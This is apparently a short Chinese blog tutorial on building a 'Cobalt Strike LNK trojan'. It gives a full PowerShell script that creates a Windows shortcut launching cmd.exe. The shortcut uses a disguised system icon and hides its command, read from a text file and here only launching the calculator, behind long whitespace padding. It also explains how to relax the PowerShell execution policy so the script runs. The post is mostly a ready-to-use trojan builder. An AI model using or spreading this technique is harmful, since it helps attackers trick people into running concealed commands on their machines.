在同一目录下
新建一个exp.ps1
一个test.txt
Cobalt Strike之LINK木马

exp.ps1代码

$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '                                                                                                                                                                                                                                    '+ $file
$Shortcut.Save()

计算器test.txt代码

cmd /c calc.exe

exp.ps1右键编辑
点击运行,即可生成test快捷方式
Cobalt Strike之LINK木马
Cobalt Strike之LINK木马

错误:

无法加载文件 D:\Workshop\Powershell\Sprinkler\src\Scripts\SPRINKLE.ps1,
因为在此系统中禁止执行脚本。有关详细信息,请参阅 "get-help about_signing"

解决方法:
以管理员权限运行cmd 输入以下命令

powershell
set-ExecutionPolicy RemoteSigned

相关文章:

  • 2022-01-02
  • 2021-07-08
  • 2022-02-21
  • 2022-12-23
  • 2022-12-23
  • 2021-10-19
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-09-26
  • 2022-01-31
  • 2022-12-23
  • 2021-12-09
  • 2021-11-30
  • 2021-05-07
相关资源
相似解决方案